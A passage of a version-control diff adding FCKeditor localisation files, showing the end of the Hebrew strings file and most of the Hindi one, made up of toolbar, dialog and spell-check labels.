+DlgCellCollSpan		: "טווח עמודות",
+DlgCellBackColor	: "צבע רקע",
+DlgCellBorderColor	: "צבע מסגרת",
+DlgCellBtnSelect	: "בחירה...",
+
+// Find Dialog
+DlgFindTitle		: "חיפוש",
+DlgFindFindBtn		: "חיפוש",
+DlgFindNotFoundMsg	: "הטקסט המבוקש לא נמצא.",
+
+// Replace Dialog
+DlgReplaceTitle			: "החלפה",
+DlgReplaceFindLbl		: "חיפוש מחרוזת:",
+DlgReplaceReplaceLbl	: "החלפה במחרוזת:",
+DlgReplaceCaseChk		: "התאמת סוג אותיות (Case)",
+DlgReplaceReplaceBtn	: "החלפה",
+DlgReplaceReplAllBtn	: "החלפה בכל העמוד",
+DlgReplaceWordChk		: "התאמה למילה המלאה",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "הגדרות האבטחה בדפדפן שלך לא מאפשרות לעורך לבצע פעולות הדבקה אוטומטיות. יש להשתמש במקלדת לשם כך (Ctrl+V).",
+PasteErrorCut	: "הגדרות האבטחה בדפדפן שלך לא מאפשרות לעורך לבצע פעולות גזירה  אוטומטיות. יש להשתמש במקלדת לשם כך (Ctrl+X).",
+PasteErrorCopy	: "הגדרות האבטחה בדפדפן שלך לא מאפשרות לעורך לבצע פעולות העתקה אוטומטיות. יש להשתמש במקלדת לשם כך (Ctrl+C).",
+
+PasteAsText		: "הדבקה כטקסט פשוט",
+PasteFromWord	: "הדבקה מ-וורד",
+
+DlgPasteMsg2	: "אנא הדבק בתוך הקופסה באמצעות  (<STRONG>Ctrl+V</STRONG>) ולחץ על  <STRONG>אישור</STRONG>.",
+DlgPasteIgnoreFont		: "התעלם מהגדרות סוג פונט",
+DlgPasteRemoveStyles	: "הסר הגדרות סגנון",
+DlgPasteCleanBox		: "ניקוי קופסה",
+
+// Color Picker
+ColorAutomatic	: "אוטומטי",
+ColorMoreColors	: "צבעים נוספים...",
+
+// Document Properties
+DocProps		: "מאפיני מסמך",
+
+// Anchor Dialog
+DlgAnchorTitle		: "מאפיני נקודת עיגון",
+DlgAnchorName		: "שם לנקודת עיגון",
+DlgAnchorErrorName	: "אנא הזן שם לנקודת עיגון",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "לא נמצא במילון",
+DlgSpellChangeTo		: "שנה ל",
+DlgSpellBtnIgnore		: "התעלם",
+DlgSpellBtnIgnoreAll	: "התעלם מהכל",
+DlgSpellBtnReplace		: "החלף",
+DlgSpellBtnReplaceAll	: "החלף הכל",
+DlgSpellBtnUndo			: "החזר",
+DlgSpellNoSuggestions	: "- אין הצעות -",
+DlgSpellProgress		: "בדיקות איות בתהליך ....",
+DlgSpellNoMispell		: "בדיקות איות הסתיימה: לא נמצאו שגיעות כתיב",
+DlgSpellNoChanges		: "בדיקות איות הסתיימה: לא שונתה אף מילה",
+DlgSpellOneChange		: "בדיקות איות הסתיימה: שונתה מילה אחת",
+DlgSpellManyChanges		: "בדיקות איות הסתיימה: %1 מילים שונו",
+
+IeSpellDownload			: "בודק האיות לא מותקן, האם אתה מעוניין להוריד?",
+
+// Button Dialog
+DlgButtonText		: "טקסט (ערך)",
+DlgButtonType		: "סוג",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "שם",
+DlgCheckboxValue	: "ערך",
+DlgCheckboxSelected	: "בחור",
+
+// Form Dialog
+DlgFormName		: "שם",
+DlgFormAction	: "שלח אל",
+DlgFormMethod	: "סוג שליחה",
+
+// Select Field Dialog
+DlgSelectName		: "שם",
+DlgSelectValue		: "ערך",
+DlgSelectSize		: "גודל",
+DlgSelectLines		: "שורות",
+DlgSelectChkMulti	: "אפשר בחירות מרובות",
+DlgSelectOpAvail	: "אפשרויות זמינות",
+DlgSelectOpText		: "טקסט",
+DlgSelectOpValue	: "ערך",
+DlgSelectBtnAdd		: "הוסף",
+DlgSelectBtnModify	: "שנה",
+DlgSelectBtnUp		: "למעלה",
+DlgSelectBtnDown	: "למטה",
+DlgSelectBtnSetValue : "קבע כברירת מחדל",
+DlgSelectBtnDelete	: "מחק",
+
+// Textarea Dialog
+DlgTextareaName	: "שם",
+DlgTextareaCols	: "עמודות",
+DlgTextareaRows	: "שורות",
+
+// Text Field Dialog
+DlgTextName			: "שם",
+DlgTextValue		: "ערך",
+DlgTextCharWidth	: "רוחב באותיות",
+DlgTextMaxChars		: "מקסימות אותיות",
+DlgTextType			: "סוג",
+DlgTextTypeText		: "טקסט",
+DlgTextTypePass		: "סיסמה",
+
+// Hidden Field Dialog
+DlgHiddenName	: "שם",
+DlgHiddenValue	: "ערך",
+
+// Bulleted List Dialog
+BulletedListProp	: "מאפייני רשימה",
+NumberedListProp	: "מאפייני רשימה ממוספרת",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "סוג",
+DlgLstTypeCircle	: "עיגול",
+DlgLstTypeDisc		: "דיסק",
+DlgLstTypeSquare	: "מרובע",
+DlgLstTypeNumbers	: "מספרים (1, 2, 3)",
+DlgLstTypeLCase		: "אותיות קטנות (a, b, c)",
+DlgLstTypeUCase		: "אותיות גדולות (A, B, C)",
+DlgLstTypeSRoman	: "ספרות רומאיות קטנות (i, ii, iii)",
+DlgLstTypeLRoman	: "ספרות רומאיות גדולות (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "כללי",
+DlgDocBackTab		: "רקע",
+DlgDocColorsTab		: "צבעים וגבולות",
+DlgDocMetaTab		: "נתוני META",
+
+DlgDocPageTitle		: "כותרת דף",
+DlgDocLangDir		: "כיוון שפה",
+DlgDocLangDirLTR	: "שמאל לימין (LTR)",
+DlgDocLangDirRTL	: "ימין לשמאל (RTL)",
+DlgDocLangCode		: "קוד שפה",
+DlgDocCharSet		: "קידוד אותיות",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "קידוד אותיות אחר",
+
+DlgDocDocType		: "הגדרות סוג מסמך",
+DlgDocDocTypeOther	: "הגדרות סוג מסמך אחרות",
+DlgDocIncXHTML		: "כלול הגדרות XHTML",
+DlgDocBgColor		: "צבע רקע",
+DlgDocBgImage		: "URL לתמונת רקע",
+DlgDocBgNoScroll	: "רגע ללא גלילה",
+DlgDocCText			: "טקסט",
+DlgDocCLink			: "קישור",
+DlgDocCVisited		: "קישור שבוקר",
+DlgDocCActive		: " קישור פעיל",
+DlgDocMargins		: "גבולות דף",
+DlgDocMaTop			: "למעלה",
+DlgDocMaLeft		: "שמאלה",
+DlgDocMaRight		: "ימינה",
+DlgDocMaBottom		: "למטה",
+DlgDocMeIndex		: "מפתח עניינים של המסמך )מופרד בפסיק(",
+DlgDocMeDescr		: "תאור מסמך",
+DlgDocMeAuthor		: "מחבר",
+DlgDocMeCopy		: "זכויות יוצרים",
+DlgDocPreview		: "תצוגה מקדימה",
+
+// Templates Dialog
+Templates			: "תבניות",
+DlgTemplatesTitle	: "תביות תוכן",
+DlgTemplatesSelMsg	: "אנא בחר תבנית לפתיחה בעורך <BR>התוכן המקורי ימחק:",
+DlgTemplatesLoading	: "מעלה רשימת תבניות אנא המתן",
+DlgTemplatesNoTpl	: "(לא הוגדרו תבניות)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "אודות",
+DlgAboutBrowserInfoTab	: "גירסת דפדפן",
+DlgAboutLicenseTab	: "רשיון",
+DlgAboutVersion		: "גירסא",
+DlgAboutLicense		: "ברשיון תחת תנאי GNU Lesser General Public License",
+DlgAboutInfo		: "מידע נוסף ניתן למצוא כאן:"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hi.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hi.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hi.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: hi.js
+ * 	Hindi language file.
+ * 
+ * File Authors:
+ * 		Utkarshraj Atmaram (utcursch@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "टूलबार सिमटायें",
+ToolbarExpand		: "टूलबार का विस्तार करें",
+
+// Toolbar Items and Context Menu
+Save				: "सेव",
+NewPage				: "नया पेज",
+Preview				: "प्रीव्यू",
+Cut					: "कट",
+Copy				: "कॉपी",
+Paste				: "पेस्ट",
+PasteText			: "पेस्ट (सादा टॅक्स्ट)",
+PasteWord			: "पेस्ट (वर्ड से)",
+Print				: "प्रिन्ट",
+SelectAll			: "सब सॅलॅक्ट करें",
+RemoveFormat		: "फ़ॉर्मैट हटायें",
+InsertLinkLbl		: "लिंक",
+InsertLink			: "लिंक इन्सर्ट/संपादन",
+RemoveLink			: "लिंक हटायें",
+Anchor				: "ऐंकर इन्सर्ट/संपादन",
+InsertImageLbl		: "तस्वीर",
+InsertImage			: "तस्वीर इन्सर्ट/संपादन",
+InsertFlashLbl		: "फ़्लैश",
+InsertFlash			: "फ़्लैश इन्सर्ट/संपादन",
+InsertTableLbl		: "टेबल",
+InsertTable			: "टेबल इन्सर्ट/संपादन",
+InsertLineLbl		: "रेखा",
+InsertLine			: "हॉरिज़ॉन्टल रेखा इन्सर्ट करें",
+InsertSpecialCharLbl: "विशेष करॅक्टर",
+InsertSpecialChar	: "विशेष करॅक्टर इन्सर्ट करें",
+InsertSmileyLbl		: "स्माइली",
+InsertSmiley		: "स्माइली इन्सर्ट करें",
+About				: "FCKeditor के बारे में",
+Bold				: "बोल्ड",
+Italic				: "इटैलिक",
+Underline			: "रेखांकण",
+StrikeThrough		: "स्ट्राइक थ्रू",
+Subscript			: "अधोलेख",
+Superscript			: "अभिलेख",
+LeftJustify			: "बायीं तरफ",
+CenterJustify		: "बीच में",
+RightJustify		: "दायीं तरफ",
+BlockJustify		: "ब्लॉक जस्टीफ़ाई",
+DecreaseIndent		: "इन्डॅन्ट कम करें",
+IncreaseIndent		: "इन्डॅन्ट बढ़ायें",
+Undo				: "अन्डू",
+Redo				: "रीडू",
+NumberedListLbl		: "अंकीय सूची",
+NumberedList		: "अंकीय सूची इन्सर्ट/संपादन",
+BulletedListLbl		: "बुलॅट सूची",
+BulletedList		: "बुलॅट सूची इन्सर्ट/संपादन",
+ShowTableBorders	: "टेबल बॉर्डरयें दिखायें",
+ShowDetails			: "ज्यादा   दिखायें",
+Style				: "स्टाइल",
+FontFormat			: "फ़ॉर्मैट",
+Font				: "फ़ॉन्ट",
+FontSize			: "साइज़",
+TextColor			: "टेक्स्ट रंग",
+BGColor				: "बैक्ग्राउन्ड रंग",
+Source				: "सोर्स",
+Find				: "खोजें",
+Replace				: "रीप्लेस",
+SpellCheck			: "वर्तनी (स्पेलिंग) जाँच",
+UniversalKeyboard	: "यूनीवर्सल कीबोर्ड",
+PageBreakLbl		: "पेज ब्रेक",
+PageBreak			: "पेज ब्रेक इन्सर्ट् करें",
+
+Form			: "फ़ॉर्म",
+Checkbox		: "चॅक बॉक्स",
+RadioButton		: "रेडिओ बटन",
+TextField		: "टेक्स्ट फ़ील्ड",
+Textarea		: "टेक्स्ट एरिया",
+HiddenField		: "गुप्त फ़ील्ड",
+Button			: "बटन",
+SelectionField	: "चुनाव फ़ील्ड",
+ImageButton		: "तस्वीर बटन",
+
+FitWindow		: "एडिटर साइज़ को चरम सीमा तक बढ़ायें",
+
+// Context Menu
+EditLink			: "लिंक संपादन",
+CellCM				: "खाना",
+RowCM				: "पंक्ति",
+ColumnCM			: "कालम",
+InsertRow			: "पंक्ति इन्सर्ट करें",
+DeleteRows			: "पंक्तियाँ डिलीट करें",
+InsertColumn		: "कॉलम इन्सर्ट करें",
+DeleteColumns		: "कॉलम डिलीट करें",
+InsertCell			: "सॅल इन्सर्ट करें",
+DeleteCells			: "सॅल डिलीट करें",
+MergeCells			: "सॅल मिलायें",
+SplitCell			: "सॅल अलग करें",
+TableDelete			: "टेबल डिलीट करें",
+CellProperties		: "सॅल प्रॉपर्टीज़",
+TableProperties		: "टेबल प्रॉपर्टीज़",
+ImageProperties		: "तस्वीर प्रॉपर्टीज़",
+FlashProperties		: "फ़्लैश प्रॉपर्टीज़",
+
+AnchorProp			: "ऐंकर प्रॉपर्टीज़",
+ButtonProp			: "बटन प्रॉपर्टीज़",
+CheckboxProp		: "चॅक बॉक्स प्रॉपर्टीज़",
+HiddenFieldProp		: "गुप्त फ़ील्ड प्रॉपर्टीज़",
+RadioButtonProp		: "रेडिओ बटन प्रॉपर्टीज़",
+ImageButtonProp		: "तस्वीर बटन प्रॉपर्टीज़",
+TextFieldProp		: "टेक्स्ट फ़ील्ड प्रॉपर्टीज़",
+SelectionFieldProp	: "चुनाव फ़ील्ड प्रॉपर्टीज़",
+TextareaProp		: "टेक्स्त एरिया प्रॉपर्टीज़",
+FormProp			: "फ़ॉर्म प्रॉपर्टीज़",
+
+FontFormats			: "साधारण;फ़ॉर्मैटॅड;पता;शीर्षक 1;शीर्षक 2;शीर्षक 3;शीर्षक 4;शीर्षक 5;शीर्षक 6;शीर्षक (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML प्रोसॅस हो रहा है। ज़रा ठहरें...",
+Done				: "पूरा हुआ",
+PasteWordConfirm	: "आप जो टेक्स्ट पेस्ट करना चाहते हैं, वह वर्ड से कॉपी किया हुआ लग रहा है। क्या पेस्ट करने से पहले आप इसे साफ़ करना चाहेंगे?",
+NotCompatiblePaste	: "यह कमांड इन्टरनॅट एक्स्प्लोरर(Internet Explorer) 5.5 या उसके बाद के वर्ज़न के लिए ही उपलब्ध है। क्या आप बिना साफ़ किए पेस्ट करना चाहेंगे?",
+UnknownToolbarItem	: "अनजान टूलबार आइटम \"%1\"",
+UnknownCommand		: "अनजान कमान्ड \"%1\"",
+NotImplemented		: "कमान्ड इम्प्लीमॅन्ट नहीं किया गया है",
+UnknownToolbarSet	: "टूलबार सॅट \"%1\" उपलब्ध नहीं है",
+NoActiveX			: "आपके ब्राउज़र् की सुरक्शा सेटिंग्स् एडिटर की कुछ् फ़ीचरों को सीमित कर् सकती हैं। क्रिपया \"Run ActiveX controls and plug-ins\" विकल्प को एनेबल करें. आपको एरर्स् और गायब फ़ीचर्स् का अनुभव हो सकता है।",
+BrowseServerBlocked : "रिसोर्सेज़ ब्राउज़र् नहीं खोला जा सका। क्रिपया सभी पॉप्-अप् ब्लॉकर्स् को डिसेबल करें।",
+DialogBlocked		: "डायलग विन्डो नहीं खोला जा सका। क्रिपया सभी पॉप्-अप् ब्लॉकर्स् को डिसेबल करें।",
+
+// Dialogs
+DlgBtnOK			: "ठीक है",
+DlgBtnCancel		: "रद्द करें",
+DlgBtnClose			: "बन्द करें",
+DlgBtnBrowseServer	: "सर्वर ब्राउज़ करें",
+DlgAdvancedTag		: "ऍड्वान्स्ड",
+DlgOpOther			: "<अन्य>",
+DlgInfoTab			: "सूचना",
+DlgAlertUrl			: "URL इन्सर्ट करें",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<सॅट नहीं>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "भाषा लिखने की दिशा",
+DlgGenLangDirLtr	: "बायें से दायें (LTR)",
+DlgGenLangDirRtl	: "दायें से बायें (RTL)",
+DlgGenLangCode		: "भाषा कोड",
+DlgGenAccessKey		: "ऍक्सॅस की",
+DlgGenName			: "नाम",
+DlgGenTabIndex		: "टैब इन्डॅक्स",
+DlgGenLongDescr		: "अधिक विवरण के लिए URL",
+DlgGenClass			: "स्टाइल-शीट क्लास",
+DlgGenTitle			: "परामर्श शीर्शक",
+DlgGenContType		: "परामर्श कन्टॅन्ट प्रकार",
+DlgGenLinkCharset	: "लिंक रिसोर्स करॅक्टर सॅट",
+DlgGenStyle			: "स्टाइल",
+
+// Image Dialog
+DlgImgTitle			: "तस्वीर प्रॉपर्टीज़",
+DlgImgInfoTab		: "तस्वीर की जानकारी",
+DlgImgBtnUpload		: "इसे सर्वर को भेजें",
+DlgImgURL			: "URL",
+DlgImgUpload		: "अपलोड",
+DlgImgAlt			: "वैकल्पिक टेक्स्ट",
+DlgImgWidth			: "चौड़ाई",
+DlgImgHeight		: "ऊँचाई",
+DlgImgLockRatio		: "लॉक अनुपात",
+DlgBtnResetSize		: "रीसॅट साइज़",
+DlgImgBorder		: "बॉर्डर",
+DlgImgHSpace		: "हॉरिज़ॉन्टल स्पेस",
+DlgImgVSpace		: "वर्टिकल स्पेस",
+DlgImgAlign			: "ऍलाइन",
+DlgImgAlignLeft		: "दायें",
+DlgImgAlignAbsBottom: "Abs नीचे",
+DlgImgAlignAbsMiddle: "Abs ऊपर",
+DlgImgAlignBaseline	: "मूल रेखा",
+DlgImgAlignBottom	: "नीचे",
+DlgImgAlignMiddle	: "मध्य",
+DlgImgAlignRight	: "दायें",
+DlgImgAlignTextTop	: "टेक्स्ट ऊपर",
+DlgImgAlignTop		: "ऊपर",
+DlgImgPreview		: "प्रीव्यू",
+DlgImgAlertUrl		: "तस्वीर का URL टाइप करें ",
+DlgImgLinkTab		: "लिंक",
+
+// Flash Dialog
+DlgFlashTitle		: "फ़्लैश प्रॉपर्टीज़",
+DlgFlashChkPlay		: "ऑटो प्ले",
+DlgFlashChkLoop		: "लूप",
+DlgFlashChkMenu		: "फ़्लैश मॅन्यू का प्रयोग करें",
+DlgFlashScale		: "स्केल",
+DlgFlashScaleAll	: "सभी दिखायें",
+DlgFlashScaleNoBorder	: "कोई बॉर्डर नहीं",
+DlgFlashScaleFit	: "बिल्कुल फ़िट",
+
+// Link Dialog
+DlgLnkWindowTitle	: "लिंक",
+DlgLnkInfoTab		: "लिंक  ",
+DlgLnkTargetTab		: "टार्गेट",
+
+DlgLnkType			: "लिंक प्रकार",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "इस पेज का ऐंकर",
+DlgLnkTypeEMail		: "ई-मेल",
+DlgLnkProto			: "प्रोटोकॉल",
+DlgLnkProtoOther	: "<अन्य>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "ऐंकर चुनें",
+DlgLnkAnchorByName	: "ऐंकर नाम से",
+DlgLnkAnchorById	: "ऍलीमॅन्ट Id से",
+DlgLnkNoAnchors		: "<डॉक्यूमॅन्ट में ऐंकर्स की संख्या>",
+DlgLnkEMail			: "ई-मेल पता",
+DlgLnkEMailSubject	: "संदेश विषय",
+DlgLnkEMailBody		: "संदेश",
+DlgLnkUpload		: "अपलोड",
+DlgLnkBtnUpload		: "इसे सर्वर को भेजें",
+
+DlgLnkTarget		: "टार्गेट",
+DlgLnkTargetFrame	: "<फ़्रेम>",
+DlgLnkTargetPopup	: "<पॉप-अप विन्डो>",
+DlgLnkTargetBlank	: "नया विन्डो (_blank)",
+DlgLnkTargetParent	: "मूल विन्डो (_parent)",
+DlgLnkTargetSelf	: "इसी विन्डो (_self)",
+DlgLnkTargetTop		: "शीर्ष विन्डो (_top)",
+DlgLnkTargetFrameName	: "टार्गेट फ़्रेम का नाम",
+DlgLnkPopWinName	: "पॉप-अप विन्डो का नाम",
+DlgLnkPopWinFeat	: "पॉप-अप विन्डो फ़ीचर्स",
+DlgLnkPopResize		: "साइज़ बदला जा सकता है",
+DlgLnkPopLocation	: "लोकेशन बार",
+DlgLnkPopMenu		: "मॅन्यू बार",
+DlgLnkPopScroll		: "स्क्रॉल बार",
+DlgLnkPopStatus		: "स्टेटस बार",
+DlgLnkPopToolbar	: "टूल बार",
+DlgLnkPopFullScrn	: "फ़ुल स्क्रीन (IE)",
+DlgLnkPopDependent	: "डिपेन्डॅन्ट (Netscape)",
+DlgLnkPopWidth		: "चौड़ाई",
+DlgLnkPopHeight		: "ऊँचाई",
+DlgLnkPopLeft		: "बायीं तरफ",
+DlgLnkPopTop		: "दायीं तरफ",
+
+DlnLnkMsgNoUrl		: "लिंक URL टाइप करें",
+DlnLnkMsgNoEMail	: "ई-मेल पता टाइप करें",
+DlnLnkMsgNoAnchor	: "ऐंकर चुनें",
+DlnLnkMsgInvPopName	: "पॉप-अप का नाम अल्फाबेट से शुरू होना चाहिये और उसमें स्पेस नहीं होने चाहिए",
+
+// Color Dialog
+DlgColorTitle		: "रंग चुनें",
+DlgColorBtnClear	: "साफ़ करें",
+DlgColorHighlight	: "हाइलाइट",
+DlgColorSelected	: "सॅलॅक्टॅड",
+
+// Smiley Dialog
+DlgSmileyTitle		: "स्माइली इन्सर्ट करें",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "विशेष करॅक्टर चुनें",
+
+// Table Dialog
+DlgTableTitle		: "टेबल प्रॉपर्टीज़",
+DlgTableRows		: "पंक्तियाँ",
+DlgTableColumns		: "कॉलम",
+DlgTableBorder		: "बॉर्डर साइज़",
+DlgTableAlign		: "ऍलाइन्मॅन्ट",
+DlgTableAlignNotSet	: "<सॅट नहीं>",
+DlgTableAlignLeft	: "दायें",
+DlgTableAlignCenter	: "बीच में",
+DlgTableAlignRight	: "बायें",
+DlgTableWidth		: "चौड़ाई",
+DlgTableWidthPx		: "पिक्सॅल",
+DlgTableWidthPc		: "प्रतिशत",
+DlgTableHeight		: "ऊँचाई",
+DlgTableCellSpace	: "सॅल अंतर",
+DlgTableCellPad		: "सॅल पैडिंग",
+DlgTableCaption		: "शीर्षक",
+DlgTableSummary		: "सारांश",
+
+// Table Cell Dialog
+DlgCellTitle		: "सॅल प्रॉपर्टीज़",
+DlgCellWidth		: "चौड़ाई",
+DlgCellWidthPx		: "पिक्सॅल",
+DlgCellWidthPc		: "प्रतिशत",
+DlgCellHeight		: "ऊँचाई",
+DlgCellWordWrap		: "वर्ड रैप",
+DlgCellWordWrapNotSet	: "<सॅट नहीं>",
+DlgCellWordWrapYes	: "हाँ",
+DlgCellWordWrapNo	: "नहीं",
+DlgCellHorAlign		: "हॉरिज़ॉन्टल ऍलाइन्मॅन्ट",
+DlgCellHorAlignNotSet	: "<सॅट नहीं>",
+DlgCellHorAlignLeft	: "दायें",
+DlgCellHorAlignCenter	: "बीच में",
+DlgCellHorAlignRight: "बायें",
+DlgCellVerAlign		: "वर्टिकल ऍलाइन्मॅन्ट",
+DlgCellVerAlignNotSet	: "<सॅट नहीं>",
+DlgCellVerAlignTop	: "ऊपर",
+DlgCellVerAlignMiddle	: "मध्य",
+DlgCellVerAlignBottom	: "नीचे",
+DlgCellVerAlignBaseline	: "मूलरेखा",
+DlgCellRowSpan		: "पंक्ति स्पैन",
+DlgCellCollSpan		: "कॉलम स्पैन",
+DlgCellBackColor	: "बैक्ग्राउन्ड रंग",
+DlgCellBorderColor	: "बॉर्डर का रंग",
+DlgCellBtnSelect	: "चुनें...",
+
+// Find Dialog
+DlgFindTitle		: "खोजें",
+DlgFindFindBtn		: "खोजें",
+DlgFindNotFoundMsg	: "आपके द्वारा दिया गया टेक्स्ट नहीं मिला",
+
+// Replace Dialog
+DlgReplaceTitle			: "रिप्लेस",
+DlgReplaceFindLbl		: "यह खोजें:",
+DlgReplaceReplaceLbl	: "इससे रिप्लेस करें:",
+DlgReplaceCaseChk		: "केस मिलायें",
+DlgReplaceReplaceBtn	: "रिप्लेस",
+DlgReplaceReplAllBtn	: "सभी रिप्लेस करें",
+DlgReplaceWordChk		: "पूरा शब्द मिलायें",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "आपके ब्रा‌उज़र की सुरक्षा सॅटिन्ग्स ने पेस्ट करने की अनुमति नहीं प्रदान की है। (Ctrl+V) का प्रयोग करें।",
+PasteErrorCut	: "आपके ब्राउज़र की सुरक्षा सॅटिन्ग्स ने कट करने की अनुमति नहीं प्रदान की है। (Ctrl+X) का प्रयोग करें।",
+PasteErrorCopy	: "आपके ब्राआउज़र की सुरक्षा सॅटिन्ग्स ने कॉपी करने की अनुमति नहीं प्रदान की है। (Ctrl+C) का प्रयोग करें।",
+
+PasteAsText		: "पेस्ट (सादा टॅक्स्ट)",
+PasteFromWord	: "पेस्ट (वर्ड से)",
+
+DlgPasteMsg2	: "Ctrl+V का प्रयोग करके पेस्ट करें और ठीक है करें.",
+DlgPasteIgnoreFont		: "फ़ॉन्ट परिभाषा निकालें",
+DlgPasteRemoveStyles	: "स्टाइल परिभाषा निकालें",
+DlgPasteCleanBox		: "बॉक्स साफ़ करें",
+
+// Color Picker
+ColorAutomatic	: "ऑटोमैटिक",
+ColorMoreColors	: "और रंग...",
+
+// Document Properties
+DocProps		: "डॉक्यूमॅन्ट प्रॉपर्टीज़",
+
+// Anchor Dialog
+DlgAnchorTitle		: "ऐंकर प्रॉपर्टीज़",
+DlgAnchorName		: "ऐंकर का नाम",
+DlgAnchorErrorName	: "ऐंकर का नाम टाइप करें",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "शब्दकोश में नहीं",
+DlgSpellChangeTo		: "इसमें बदलें",
+DlgSpellBtnIgnore		: "इग्नोर",
+DlgSpellBtnIgnoreAll	: "सभी इग्नोर करें",
+DlgSpellBtnReplace		: "रिप्लेस",
+DlgSpellBtnReplaceAll	: "सभी रिप्लेस करें",
+DlgSpellBtnUndo			: "अन्डू",
+DlgSpellNoSuggestions	: "- कोई सुझाव नहीं -",
+DlgSpellProgress		: "वर्तनी की जाँच (स्पॅल-चॅक) जारी है...",
+DlgSpellNoMispell		: "वर्तनी की जाँच : कोई गलत वर्तनी (स्पॅलिंग) नहीं पाई गई",
+DlgSpellNoChanges		: "वर्तनी की जाँच :कोई शब्द नहीं बदला गया",
+DlgSpellOneChange		: "वर्तनी की जाँच : एक शब्द बदला गया",
+DlgSpellManyChanges		: "वर्तनी की जाँच : %1 शब्द बदले गये",
+
+IeSpellDownload			: "स्पॅल-चॅकर इन्स्टाल नहीं किया गया है। क्या आप इसे डा‌उनलोड करना चाहेंगे?",
+
+// Button Dialog
+DlgButtonText		: "टेक्स्ट (वैल्यू)",
+DlgButtonType		: "प्रकार",
+DlgButtonTypeBtn	: "बटन",
+DlgButtonTypeSbm	: "सब्मिट",
+DlgButtonTypeRst	: "रिसेट",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "नाम",
+DlgCheckboxValue	: "वैल्यू",
+DlgCheckboxSelected	: "सॅलॅक्टॅड",
+
+// Form Dialog
+DlgFormName		: "नाम",
+DlgFormAction	: "ऍक्शन",
+DlgFormMethod	: "तरीका",
+
+// Select Field Dialog
+DlgSelectName		: "नाम",
+DlgSelectValue		: "वैल्यू",
+DlgSelectSize		: "साइज़",
+DlgSelectLines		: "पंक्तियाँ",
+DlgSelectChkMulti	: "एक से ज्यादा विकल्प चुनने दें",
+DlgSelectOpAvail	: "उपलब्ध विकल्प",
+DlgSelectOpText		: "टेक्स्ट",
+DlgSelectOpValue	: "वैल्यू",
+DlgSelectBtnAdd		: "जोड़ें",
+DlgSelectBtnModify	: "बदलें",
+DlgSelectBtnUp		: "ऊपर",
+DlgSelectBtnDown	: "नीचे",
+DlgSelectBtnSetValue : "चुनी गई वैल्यू सॅट करें",
+DlgSelectBtnDelete	: "डिलीट",
+
+// Textarea Dialog
+DlgTextareaName	: "नाम",
+DlgTextareaCols	: "कॉलम",
+DlgTextareaRows	: "पंक्तियां",
+
+// Text Field Dialog
+DlgTextName			: "नाम",
+DlgTextValue		: "वैल्यू",
+DlgTextCharWidth	: "करॅक्टर की चौढ़ाई",
+DlgTextMaxChars		: "अधिकतम करॅक्टर",
+DlgTextType			: "टाइप",
+DlgTextTypeText		: "टेक्स्ट",
+DlgTextTypePass		: "पास्वर्ड",
+
+// Hidden Field Dialog
+DlgHiddenName	: "नाम",
+DlgHiddenValue	: "वैल्यू",
+
+// Bulleted List Dialog
+BulletedListProp	: "बुलॅट सूची प्रॉपर्टीज़",
+NumberedListProp	: "अंकीय सूची प्रॉपर्टीज़",
+DlgLstStart			: "प्रारम्भ",
+DlgLstType			: "प्रकार",
+DlgLstTypeCircle	: "गोल",
+DlgLstTypeDisc		: "डिस्क",
+DlgLstTypeSquare	: "चौकॊण",
+DlgLstTypeNumbers	: "अंक (1, 2, 3)",
+DlgLstTypeLCase		: "छोटे अक्षर (a, b, c)",
+DlgLstTypeUCase		: "बड़े अक्षर (A, B, C)",
+DlgLstTypeSRoman	: "छोटे रोमन अंक (i, ii, iii)",
+DlgLstTypeLRoman	: "बड़े रोमन अंक (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "आम",
+DlgDocBackTab		: "बैक्ग्राउन्ड",
+DlgDocColorsTab		: "रंग और मार्जिन",
+DlgDocMetaTab		: "मॅटाडेटा",
+
+DlgDocPageTitle		: "पेज शीर्षक",
+DlgDocLangDir		: "भाषा लिखने की दिशा",
+DlgDocLangDirLTR	: "बायें से दायें (LTR)",
+DlgDocLangDirRTL	: "दायें से बायें (RTL)",
+DlgDocLangCode		: "भाषा कोड",
